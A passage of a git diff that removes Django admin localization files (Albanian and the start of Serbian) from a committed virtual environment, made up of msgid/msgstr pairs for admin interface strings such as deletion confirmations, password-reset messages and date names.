"Asnjë" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Që të përzgjidhni më shumë se një, mbani të shtypur “Control”, ose “Command” " -"në një Mac." - -msgid "Select this object for an action - {}" -msgstr "Përzgjidheni këtë objekt për një veprim - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” u shtua me sukses." - -msgid "You may edit it again below." -msgstr "Mund ta ripërpunoni më poshtë." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” u shtua me sukses. Mund të shtoni {name} tjetër më poshtë." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” u ndryshua me sukses. Mund ta përpunoni sërish më poshtë." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” u ndryshua me sukses. Mund të shtoni {name} tjetër më poshtë." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” u ndryshua me sukses." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Duhen përzgjedhur objekte që të kryhen veprime mbi ta. S’u ndryshua ndonjë " -"objekt." - -msgid "No action selected." -msgstr "S’u përzgjodh ndonjë veprim." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” u fshi me sukses." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s me “%(key)s” ID s’ekziston. Mos qe fshirë vallë?" - -#, python-format -msgid "Add %s" -msgstr "Shtoni %s" - -#, python-format -msgid "Change %s" -msgstr "Ndrysho %s" - -#, python-format -msgid "View %s" -msgstr "Shiheni %s" - -msgid "Database error" -msgstr "Gabim baze të dhënash" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s u ndryshua me sukses." -msgstr[1] "%(count)s %(name)s u ndryshuan me sukses." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s i përzgjedhur" -msgstr[1] "Krejt %(total_count)s të përzgjedhurat" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 nga %(cnt)s të përzgjedhur" - -msgid "Delete" -msgstr "Fshije" - -#, python-format -msgid "Change history: %s" -msgstr "Ndryshoni historikun: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Fshirja e %(class_name)s %(instance)s do të lypte fshirjen e objekteve " -"vijuese të mbrojtura që kanë lidhje me ta: %(related_objects)s" - -msgid "Django site admin" -msgstr "Përgjegjës sajti Django" - -msgid "Django administration" -msgstr "Administrim i Django-s" - -msgid "Site administration" -msgstr "Administrim sajti" - -msgid "Log in" -msgstr "Hyni" - -#, python-format -msgid "%(app)s administration" -msgstr "Administrim %(app)s" - -msgid "Page not found" -msgstr "S’u gjet faqe" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Na ndjeni, por faqja e kërkuar s’u gjet dot." - -msgid "Home" -msgstr "Hyrje" - -msgid "Server error" -msgstr "Gabim shërbyesi" - -msgid "Server error (500)" -msgstr "Gabim shërbyesi (500)" - -msgid "Server Error (500)" -msgstr "Gabim Shërbyesi (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Pati një gabim. U është njoftuar përgjegjësve të sajtit përmes email-i dhe " -"do të duhej ndrequr pa humbur kohë. Faleminderit për durimin." - -msgid "Run the selected action" -msgstr "Kryej veprimin e përzgjedhur" - -msgid "Go" -msgstr "Shko tek" - -msgid "Click here to select the objects across all pages" -msgstr "Klikoni këtu që të përzgjidhni objektet nëpër krejt faqet" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Përzgjidhni krejt %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Spastroje përzgjedhjen" - -msgid "Breadcrumbs" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modele te aplikacioni %(name)s" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Shtoni" - -msgid "View" -msgstr "Shiheni" - -msgid "You don’t have permission to view or edit anything." -msgstr "S’keni leje të shihni apo të përpunoni gjë." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "Ndryshoni fjalëkalimin" - -msgid "Set password" -msgstr "Caktoni fjalëkalim" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Ju lutemi, ndreqni gabimin më poshtë." -msgstr[1] "Ju lutemi, ndreqni gabimet më poshtë." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Jepni një fjalëkalim të ri për përdoruesin %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Ky veprim do të aktivizojë për këtë përdorues mirëfilltësim " -"me bazë fjalëkalimin." - -msgid "Disable password-based authentication" -msgstr "Çaktivizo mirëfilltësim me bazë fjalëkalimin" - -msgid "Enable password-based authentication" -msgstr "Aktivizo mirëfilltësim me bazë fjalëkalimin" - -msgid "Skip to main content" -msgstr "Kalo te lënda bazë" - -msgid "Welcome," -msgstr "Mirë se vini," - -msgid "View site" -msgstr "Shihni sajtin" - -msgid "Documentation" -msgstr "Dokumentim" - -msgid "Log out" -msgstr "Dilni" - -#, python-format -msgid "Add %(name)s" -msgstr "Shto %(name)s" - -msgid "History" -msgstr "Historik" - -msgid "View on site" -msgstr "Shiheni në sajt" - -msgid "Filter" -msgstr "Filtër" - -msgid "Hide counts" -msgstr "Fshihi numrat" - -msgid "Show counts" -msgstr "Shfaqi numrat" - -msgid "Clear all filters" -msgstr "Spastroji krejt filtrat" - -msgid "Remove from sorting" -msgstr "Hiqe prej renditjeje" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Përparësi renditjesh: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Shfaq/fshih renditjen" - -msgid "Toggle theme (current theme: auto)" -msgstr "Ndërroni temën (temë e tanishme: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Ndërroni temën (temë e tanishme: e çelët)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Ndërroni temën (temë e tanishme: e errët)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Fshirja e %(object_name)s '%(escaped_object)s' do të shpinte në fshirjen e " -"objekteve të lidhur me të, por llogaria juaj s’ka leje për fshirje të " -"objekteve të llojeve të mëposhtëm:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Fshirja e %(object_name)s '%(escaped_object)s' do të kërkonte fshirjen e " -"objekteve të mbrojtur vijues, të lidhur me të:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Jeni i sigurt se doni të fshihet %(object_name)s “%(escaped_object)s”? Krejt " -"objektet vijues të lidhur me të do të fshihen:" - -msgid "Objects" -msgstr "Objekte" - -msgid "Yes, I’m sure" -msgstr "Po, jam i sigurt" - -msgid "No, take me back" -msgstr "Jo, kthemëni mbrapsht" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Fshirja e %(objects_name)s të përzgjedhur do të shpjerë në fshirjen e " -"objekteve të lidhur me të, por llogaria juaj s’ka leje të fshijë llojet " -"vijuese të objekteve:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Fshirja e %(objects_name)s të përzgjedhur do të kërkonte fshirjen e " -"objekteve të mbrojtur vijues, të lidhur me të:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Jeni i sigurt se doni të fshihen %(objects_name)s e përzgjedhur? Krejt " -"objektet vijues dhe gjëra të lidhura me ta do të fshihen:" - -msgid "Delete?" -msgstr "Të fshihet?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Nga %(filter_title)s " - -msgid "Summary" -msgstr "Përmbledhje" - -msgid "Recent actions" -msgstr "Veprime së fundi" - -msgid "My actions" -msgstr "Veprimet e mia" - -msgid "None available" -msgstr "Asnjë i passhëm" - -msgid "Added:" -msgstr "U shtua më:" - -msgid "Changed:" -msgstr "U ndryshua më:" - -msgid "Deleted:" -msgstr "U fshi më:" - -msgid "Unknown content" -msgstr "Lëndë e panjohur" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Diç është gabim me instalimin tuaj të bazës së të dhënave. Sigurohuni që " -"janë krijuar tabelat e duhura të bazës së të dhënave dhe sigurohuni që baza " -"e të dhënave është e lexueshme nga përdoruesi i duhur." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Keni bërë mirëfilltësimin si %(username)s, por s’jeni i autorizuar të hyni " -"në këtë faqe. Do të donit të hyni në një llogari tjetër?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Shfaqni/fshihni lëvizjen" - -msgid "Sidebar" -msgstr "Anështyllë" - -msgid "Start typing to filter…" -msgstr "Që të bëhet filtrim, filloni të shtypni…" - -msgid "Filter navigation items" -msgstr "Filtroni elementë lëvizjeje" - -msgid "Date/time" -msgstr "Datë/kohë" - -msgid "User" -msgstr "Përdorues" - -msgid "Action" -msgstr "Veprim" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "zë" -msgstr[1] "zëra" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Ky objekt s’ka historik ndryshimesh. Gjasat janë të mos ketë qenë shtuar " -"përmes këtij sajti admin." - -msgid "Show all" -msgstr "Shfaqi krejt" - -msgid "Save" -msgstr "Ruaje" - -msgid "Popup closing…" -msgstr "Mbyllje flluske…" - -msgid "Search" -msgstr "Kërko" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s përfundim" -msgstr[1] "%(counter)s përfundime" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s gjithsej" - -msgid "Save as new" -msgstr "Ruaje si të ri" - -msgid "Save and add another" -msgstr "Ruajeni dhe shtoni një tjetër" - -msgid "Save and continue editing" -msgstr "Ruajeni dhe vazhdoni përpunimin" - -msgid "Save and view" -msgstr "Ruajeni dhe shiheni" - -msgid "Close" -msgstr "Mbylle" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Ndryshoni %(model)s e përzgjedhur" - -#, python-format -msgid "Add another %(model)s" -msgstr "Shtoni një %(model)s tjetër" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Fshije %(model)s e përzgjedhur" - -#, python-format -msgid "View selected %(model)s" -msgstr "Shihni %(model)s e përzgjedhur" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Faleminderit që harxhoni pak kohë me sajtin sot." - -msgid "Log in again" -msgstr "Hyni sërish" - -msgid "Password change" -msgstr "Ndryshim fjalëkalimi" - -msgid "Your password was changed." -msgstr "Fjalëkalimi juaj u ndryshua." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Ju lutemi, për hir të sigurisë, jepni fjalëkalimin tuaj të vjetër dhe mandej " -"jepeni dy herë fjalëkalimin tuaj të ri, që të mund të verifikojmë se i keni " -"shtypur saktë." - -msgid "Change my password" -msgstr "Ndrysho fjalëkalimin tim" - -msgid "Password reset" -msgstr "Ricaktim fjalëkalimi" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Fjalëkalimi juaj u caktua. Mund të vazhdoni më tej dhe të bëni hyrjen tani." - -msgid "Password reset confirmation" -msgstr "Ripohim ricaktimi fjalëkalimi" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Ju lutemi, jepeni fjalëkalimin tuaj dy herë, që kështu të mund të " -"verifikojmë që e shtypët saktë." - -msgid "New password:" -msgstr "Fjalëkalim i ri:" - -msgid "Confirm password:" -msgstr "Ripohoni fjalëkalimin:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Lidhja për ricaktimin e fjalëkalimit qe e pavlefshme, ndoshta ngaqë është " -"përdorur tashmë një herë. Ju lutemi, kërkoni një ricaktim të ri fjalëkalimi." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Ju kemi dërguar me email udhëzime për caktimin e fjalëkalimit tuaj, nëse " -"ekziston një llogari me email-in që dhatë. Duhet t’ju vijnë pas pak." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Nëse s’merrni ndonjë email, ju lutemi, sigurohuni se keni dhënë adresën me " -"të cilën u regjistruat, dhe kontrolloni edhe te dosja e mesazheve të " -"padëshiruar." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Këtë email po e merrni ngaqë kërkuat ricaktim fjalëkalimi për llogarinë tuaj " -"si përdorues te %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Ju lutemi, shkoni te faqja vijuese dhe zgjidhni një fjalëkalim të ri:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Faleminderit që përdorni sajtin tonë!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Ekipi i %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Harruat fjalëkalimin tuaj? Jepni më poshtë adresën tuaj email, dhe do t’ju " -"dërgojmë me email udhëzime për caktimin e një të riu." - -msgid "Email address:" -msgstr "Adresë email:" - -msgid "Reset my password" -msgstr "Ricakto fjalëkalimin tim" - -msgid "Select all objects on this page for an action" -msgstr "Përzgjidhni për një veprim krejt objektet në këtë faqe" - -msgid "All dates" -msgstr "Krejt datat" - -#, python-format -msgid "Select %s" -msgstr "Përzgjidhni %s" - -#, python-format -msgid "Select %s to change" -msgstr "Përzgjidhni %s për ta ndryshuar" - -#, python-format -msgid "Select %s to view" -msgstr "Përzgjidhni %s për parje" - -msgid "Date:" -msgstr "Datë:" - -msgid "Time:" -msgstr "Kohë:" - -msgid "Lookup" -msgstr "Kërkim" - -msgid "Currently:" -msgstr "Tani:" - -msgid "Change:" -msgstr "Ndryshim:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 877b0370..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.po deleted file mode 100644 index 64f70b73..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,316 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Besnik Bleta , 2011-2012,2015 -# Besnik Bleta , 2020-2023,2025 -# Besnik Bleta , 2015,2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Besnik Bleta , 2020-2023,2025\n" -"Language-Team: Albanian (http://app.transifex.com/django/django/language/" -"sq/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sq\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s i gatshëm" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" -"Zgjidhni %s duke i përzgjedhur dhe mandej përzgjidhni butonin shigjetë " -"“Zgjidhni”." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Që të filtrohet lista e %s të passhme, shkruani brenda kutizës." - -msgid "Filter" -msgstr "Filtro" - -#, javascript-format -msgid "Choose all %s" -msgstr "Zgjidh krejt %s" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Zgjidh %s e përzgjedhur" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Hiqe %s e përzgjedhur" - -#, javascript-format -msgid "Chosen %s" -msgstr "U zgjodh %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Hiqe %s duke i përzgjedhur dhe mandej përzgjidhni butonin shigjetë “Hiqe”." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Shtypni në këtë kuadrat, që të filtroni listën e %s të përzgjedhur." - -msgid "(click to clear)" -msgstr "(klikoni që të spastrohet)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Hiqi krejt %s" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s mundësi e përzgjedhur jo e dukshme" -msgstr[1] "%s mundësi të përzgjedhura jo të dukshme" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "U përzgjodh %(sel)s nga %(cnt)s" -msgstr[1] "U përzgjodhën %(sel)s nga %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Keni ndryshime të paruajtura te fusha individuale të ndryshueshme. Nëse " -"kryeni një veprim, ndryshimet e paruajtura do të humbin." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Keni përzgjedhur një veprim, por s’keni ruajtur ende ndryshimet që bëtë te " -"fusha individuale. Ju lutemi, klikoni OK që të bëhet ruajtja. Do t’ju duhet " -"ta ribëni veprimin." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Keni përzgjedhur një veprim dhe s’keni bërë ndonjë ndryshim te fusha " -"individuale. Ndoshta po kërkonit për butonin “Shko”, në vend se për butonin " -"“Ruaje”." - -msgid "Now" -msgstr "Tani" - -msgid "Midnight" -msgstr "Mesnatë" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Mesditë" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Shënim: Jeni %s orë para kohës së shërbyesit." -msgstr[1] "Shënim: Jeni %s orë para kohës së shërbyesit." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Shënim: Jeni %s orë pas kohës së shërbyesit." -msgstr[1] "Shënim: Jeni %s orë pas kohës së shërbyesit." - -msgid "Choose a Time" -msgstr "Zgjidhni një Kohë" - -msgid "Choose a time" -msgstr "Zgjidhni një kohë" - -msgid "Cancel" -msgstr "Anuloje" - -msgid "Today" -msgstr "Sot" - -msgid "Choose a Date" -msgstr "Zgjidhni një Datë" - -msgid "Yesterday" -msgstr "Dje" - -msgid "Tomorrow" -msgstr "Nesër" - -msgid "January" -msgstr "Janar" - -msgid "February" -msgstr "Shkurt" - -msgid "March" -msgstr "Mars" - -msgid "April" -msgstr "Prill" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Qershor" - -msgid "July" -msgstr "Korrik" - -msgid "August" -msgstr "Gusht" - -msgid "September" -msgstr "Shtator" - -msgid "October" -msgstr "Tetor" - -msgid "November" -msgstr "Nëntor" - -msgid "December" -msgstr "Dhjetor" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Shk" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Pri" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Qer" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Kor" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Gus" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sht" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Tet" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nën" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dhje" - -msgid "Sunday" -msgstr "E diel" - -msgid "Monday" -msgstr "E hënë" - -msgid "Tuesday" -msgstr "E martë" - -msgid "Wednesday" -msgstr "E mërkurë" - -msgid "Thursday" -msgstr "E enjte" - -msgid "Friday" -msgstr "E premte" - -msgid "Saturday" -msgstr "E shtunë" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Die" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Hën" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Mar" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Mër" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Enj" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pre" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sht" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "H" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "E" - -msgctxt "one letter Friday" -msgid "F" -msgstr "P" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/django.mo deleted file mode 100644 index 5365f7df..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/django.po deleted file mode 100644 index 9fc90cd1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sr/LC_MESSAGES/django.po +++ /dev/null @@ -1,795 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Branko Kokanovic , 2018 -# Igor Jerosimić, 2019,2021,2023-2025 -# Jannis Leidel , 2011 -# Janos Guljas , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Igor Jerosimić, 2019,2021,2023-2025\n" -"Language-Team: Serbian (http://app.transifex.com/django/django/language/" -"sr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sr\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Бриши означене објекте класе %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Успешно обрисано: %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Несуспело брисање %(name)s" - -msgid "Delete multiple objects" -msgstr "Брисање више објеката" - -msgid "Administration" -msgstr "Администрација" - -msgid "All" -msgstr "Сви" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Не" - -msgid "Unknown" -msgstr "Непознато" - -msgid "Any date" -msgstr "Сви датуми" - -msgid "Today" -msgstr "Данас" - -msgid "Past 7 days" -msgstr "Последњих 7 дана" - -msgid "This month" -msgstr "Овај месец" - -msgid "This year" -msgstr "Ова година" - -msgid "No date" -msgstr "Нема датума" - -msgid "Has date" -msgstr "Има датум" - -msgid "Empty" -msgstr "Празно" - -msgid "Not empty" -msgstr "Није празно" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Молим вас унесите исправно %(username)s и лозинку. Обратите пажњу да мала и " -"велика слова представљају различите карактере." - -msgid "Action:" -msgstr "Радња:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Додај још један објекат класе %(verbose_name)s." - -msgid "Remove" -msgstr "Обриши" - -msgid "Addition" -msgstr "Додавања" - -msgid "Change" -msgstr "Измени" - -msgid "Deletion" -msgstr "Брисања" - -msgid "action time" -msgstr "време радње" - -msgid "user" -msgstr "корисник" - -msgid "content type" -msgstr "тип садржаја" - -msgid "object id" -msgstr "id објекта" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "опис објекта" - -msgid "action flag" -msgstr "ознака радње" - -msgid "change message" -msgstr "опис измене" - -msgid "log entry" -msgstr "запис у логовима" - -msgid "log entries" -msgstr "записи у логовима" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Додат објекат класе „%(object)s“." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Промењен објекат класе „%(object)s“ - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Уклоњен објекат класе „%(object)s“." - -msgid "LogEntry Object" -msgstr "Објекат уноса лога" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Додат објекат {name} \"{object}\"." - -msgid "Added." -msgstr "Додато." - -msgid "and" -msgstr "и" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Измењена поља {fields} за {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Измењена поља {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Обрисан објекат {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Без измена у пољима." - -msgid "None" -msgstr "Ништа" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Држите „Control“, или „Command“ на Mac-у да бисте обележили више од једне " -"ставке." - -msgid "Select this object for an action - {}" -msgstr "Изабери овај објекат за радњу - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Објекат {name} \"{obj}\" успешно додат." - -msgid "You may edit it again below." -msgstr "Можете га изменити опет испод" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Објекат {name} \"{obj}\" успешно додат. Можете додати још један {name} испод." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Објекат {name} \"{obj}\" успешно измењен. Можете га опет изменити испод." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Објекат {name} \"{obj}\" успешно измењен. Можете додати још један {name} " -"испод." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Објекат {name} \"{obj}\" успешно измењен." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Потребно је изабрати објекте да би се извршила акција над њима. Ниједан " -"објекат није промењен." - -msgid "No action selected." -msgstr "Није изабрана ниједна акција." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Објекат „%(obj)s“ класе %(name)s је успешно обрисан." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s са идентификацијом \"%(key)s\" не постоји. Можда је избрисан?" - -#, python-format -msgid "Add %s" -msgstr "Додај објекат класе %s" - -#, python-format -msgid "Change %s" -msgstr "Измени објекат класе %s" - -#, python-format -msgid "View %s" -msgstr "Преглед %s" - -msgid "Database error" -msgstr "Грешка у бази података" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Успешно промењен %(count)s %(name)s." -msgstr[1] "Успешно промењена %(count)s %(name)s." -msgstr[2] "Успешно промењених %(count)s %(name)s." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s изабран" -msgstr[1] "Сва %(total_count)s изабрана" -msgstr[2] "Свих %(total_count)s 